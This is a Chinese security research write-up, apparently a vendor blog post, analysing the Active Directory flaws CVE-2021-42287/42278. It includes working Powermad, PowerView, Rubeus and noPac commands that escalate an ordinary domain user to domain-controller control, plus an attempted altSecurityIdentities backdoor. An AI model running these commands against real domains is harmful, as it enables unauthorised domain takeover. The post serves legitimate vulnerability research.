Cliff Fisher (Microsoft AD PM) 11.10 在推特上连续发布了几条和AD域有关的CVE漏洞,引发安全人员持续关注。之后Charlie Clark于12.10 在其博客揭秘了CVE-2021-42287的利用方式并给出了武器化利用的手段,于是该漏洞相关消息在国内迅速传播。攻击者仅需要一个域内账户或通过NTLM Relay即可利用此漏洞拿下域控权限。
域环境下Windows Kerberos认证流程如下:
User与KDC认证,只要账户密码正确即可获得KDC的Ticket(即TGT)与对应的SessionKey,Ticket中扩展了PAC,PAC包括User的用户信息,组信息。
User在拿到KDC的TGT与对应的SessionKey之后向KDC申请Service的Ticket(即TGS),不管User有无访问Service的权限,KDC都会返回给User需要的Ticket(不验证PAC),KDC会把TGT中的PAC数据拷贝到TGS中。
User携带TGS与Service Server建立通信。
Service通过PAC判断User是否有权限访问Service,判断过程:
把PAC传递给KDC判断PAC签名是否正确,确保PAC没有被篡改。
判断User有无权限访问,这部分属于Windows访问控制的内容。
User有权限则Service与User可成功建立通信。
在拥有一个域内普通用户且该用户具有创建机器用户的权限下,利用过程如下:
1# 0. Create Machine Account 2# https://github.com/Kevin-Robertson/Powermad 3New-MachineAccount -MachineAccount TestSPN -Domain test001.com -DomainController dc1.test001.com -Verbose 4# Password Abc123! 5 6# 1. Clear SPNs 7# https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1 8Set-DomainObject "CN=TestSPN,CN=Computers,DC=test001,DC=com" -Clear 'serviceprincipalname' -Verbose 9 10# 2. Change Machine Account SamAccountName 11Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC1" -Attribute SamAccountName -Verbose 12 13# 3. Request TGT 14.\Rubeus.exe asktgt /user:DC1 /password:Abc123! /domain:test001.com /dc:dc1.test001.com /nowrap 15 16# Change Machine Account SamAccountName 17Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute SamAccountName -Verbose 18 19# 4. Request S4U2self 20.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:dc1.test001.com /self /altservice:LDAP/dc1.test001.com /ptt /ticket:[TGT]
首先创建机器用户并清除其SPN.
创建机器用户可能会出现自动为其设置SPN的情况,需要清除以方便更改SamAccountName属性
(这里复现的时候新建机器用户并没有自动创建SPN)
然后把机器用户的samaccountname属性修改为DC1
, 修改为DC1
是因为域控机器的名称DC1$
然后使用Rebeus请求所创建机器用户的TGT
之后再修改机器用户的SamAccountName:
然后再根据之前请求的TGT通过S4USelf为Administrator 请求 "自身" LDAP/dc1.test001.com
服务的可转发TGS.
klist可以发现攻击成功.
Windows下可以直接使用https://github.com/cube0x0/noPac利用:
noPac.exe -domain test001.com -user user1 -pass 1q1q1q1Q /dc dc1.test001.com /mAccount de1 /mPassword passworD!123 /service cifs /ptt
Linux下有https://github.com/WazeHell/sam-the-admin项目可以直接利用
复现完之后存在一些疑惑:
于是我创建了一个普通用户来测试:
然后手动修改其SamAccountName
使用demo1请求TGT
修改demo1的SamAccountName之后再请求TGS,发现利用失败
测试:
1Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC1" -Attribute SamAccountName -Verbose 2 3.\Rubeus.exe asktgt /user:DC1 /password:Abc123! /domain:test001.com /dc:dc1.test001.com /nowrap 4 5Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute SamAccountName -Verbose 6 7.\Rubeus.exe asktgs /domain:test001.com /dc:dc1.test001.com /service:cifs/dc1.test001.com /ptt /ticket:[TGT] /nowrap
发现请求得到的票据是DC1的而不是DC1$的,所以无法利用:
根据 https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html 的复现分析.我们可以在泄露的XP源码中找到大概的漏洞代码,下面对几个函数进行分析
KdcGetTicketInfo函数根据GenericUserName从Ticket中获取TicketInfo的大致处理逻辑:
首先判断是否是krbtgt账户,如果是则直接调用GetKrbtgt函数获取TicketInfo
然后再判断是否是本域的用户,并进行了三次查找:
username+$
由此分析出是KdcGetTicketInfo获取TicketInfo的逻辑存在问题,对UserName做了多余的处理.
但是以上代码还无法解释为什么获取DC1的TGT之后,通过S4USelf请求DC1$的TGS可以
成功,但是直接根据TGT请求TGS依然是DC1的TGS.
为什么普通用户无法利用,必须使用机器账户才行?
再仔细查找 KdcGetTicketInfo 这部分代码,可以发现根据Username查找时,首先根据其Guid从本地SAM文件中查找Username,
普通用户的GUID可以在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileGuid
和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
找到.
对于SYSTEM用户等,不存在其GUID.
对于机器账户,搜索发现存在注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
可能存在GUID,但是在Server2016和Windows10上并未找到.
所以普通用户无法利用,获取得到SYSTEM等特殊用户其属性值较难更改,需要权限较高,只有使用普通用户创建机器用户再利用的方式比较容易实行.
上面这个问题的原因在于KDC Server对于PAC的处理, S4USelf得到的TGS,其PAC是重新构造的,而直接请求得到的TGS是直接复制的,下面是分析过程:
在KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:
如果不是S4U的请求,则直接从TGT的AuthData中提取PAC
如果是S4U请求,首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo,再调用kdcGetPacAuthData函数来构造PAC data。
若原票据不存在PAC,则会构造一个新的PAC
若无法构造,则直接复制PAC
kdcGetPacAuthData构造PAC信息主要依赖于KdcGetS4UTicketInfo返回的S4UUserInfo结构,S4UUserInfo结构体:
1typedef struct _USER_INTERNAL6_INFORMATION {
2 USER_ALL_INFORMATION I1;
3 LARGE_INTEGER LastBadPasswordTime;
4 ULONG ExtendedFields;
5 BOOLEAN UPNDefaulted;
6 UNICODE_STRING UPN;
7 PUSER_ALLOWED_TO_DELEGATE_TO_LIST A2D2List;
8} USER_INTERNAL6_INFORMATION, *PUSER_INTERNAL6_INFORMATION;
其中USER_ALL_INFORMATION是一些关键信息,如UAC,PrimaryGroupId
在KdcGetS4UTicketInfo函数的处理逻辑中发现调用了KdcGetTicketInfo函数
综上解释了为什么该漏洞利用,获取到DC1的TGT之后必须通过S4USelf获取TGS才行。
这篇文章的一些细节:
在这篇文章讲到了如果不删除SPN,在修改samAccountName、DnsHostname或msDS-AdditionalDnsHostName属性时,SPN列表将自动更新其值,所以建议在更改SamAccountName之前删除SPN。
TGS_REQ阶段不会校验PAC,所以即使PAC是错误的也不影响获取ST.可以参考微软文档, 只有在AP_REQ请求时,Server会选择是否把PAC传给Server进行验证。
MachineAccountQuota相关内容:
MachineAccountQuota (MAQ)是一个域级别属性默认值为10,即默认情况下允许无特权的用户最多将10台计算机连接到AD域,也就是最多可以新建10个机器用户。且创建者帐户被授予对某些机器帐户对象属性的写访问权限,包括SPN和SamAccountName等关键属。
samAccountName属性: 可以改变samAccountName的值为任何值, 只要不与别的域账户samAccountName重复即可. 特殊情况: samAccountName可以用$
或者空格结尾。
根据前面的代码分析以及Charlie Clark文章中的挖掘可以想到域用户的altSecurityIdentities属性也是可以用来做Backdoor的。理论上分析在域管账户的altSecurityIdentities添加一个外域的用户链接即可构成后门,但是却没有复现成功。
首先准备两个域环境,test001.com(内部域)和test.loca(外部域)
首先在test001\admin123账户的altSecurityIdentities属性上添加 Kerberos:hacker123@test.local
值
然后在test.local申请一张不带PAC的hacker123用户的TGT票据:
1.\Rubeus_noPac.exe asktgt /user:hacker123 /password:1q1q1q1Q /domain:test.local /dc:exdc1.test.local /nowrap /nopac
再在test001.com域通过S4U申请一张cifs/dc1.test001.com的TGS,发现会直接报错 KDC_ERR_WRONG_REALM
1.\Rubeus_noPac.exe s4u /impersonateuser:Administrator /nowrap /dc:dc1.test001.com /self /altservice:cifs/dc1.test001.com /ptt /ticket:[TGT]
分析错误原因:与Charlie Clark文章中得到结果不一致的原因可能为Charlie Clark文章中两个域处于同一个根域zeroday.lab中,而我复现时的两个域是不同的根域,所以没有复现成功。
(感兴趣的师傅可以继续尝试)
长亭产品研发中心底下的安全研究团队正在招聘 主机安全/容器安全/静态分析 等领域的产品安全研究员,如果你和我一样,喜欢研究红蓝对抗,并希望将它落地到产品当中,欢迎投递简历,投递邮箱为jingyuan.chen@chaitin.com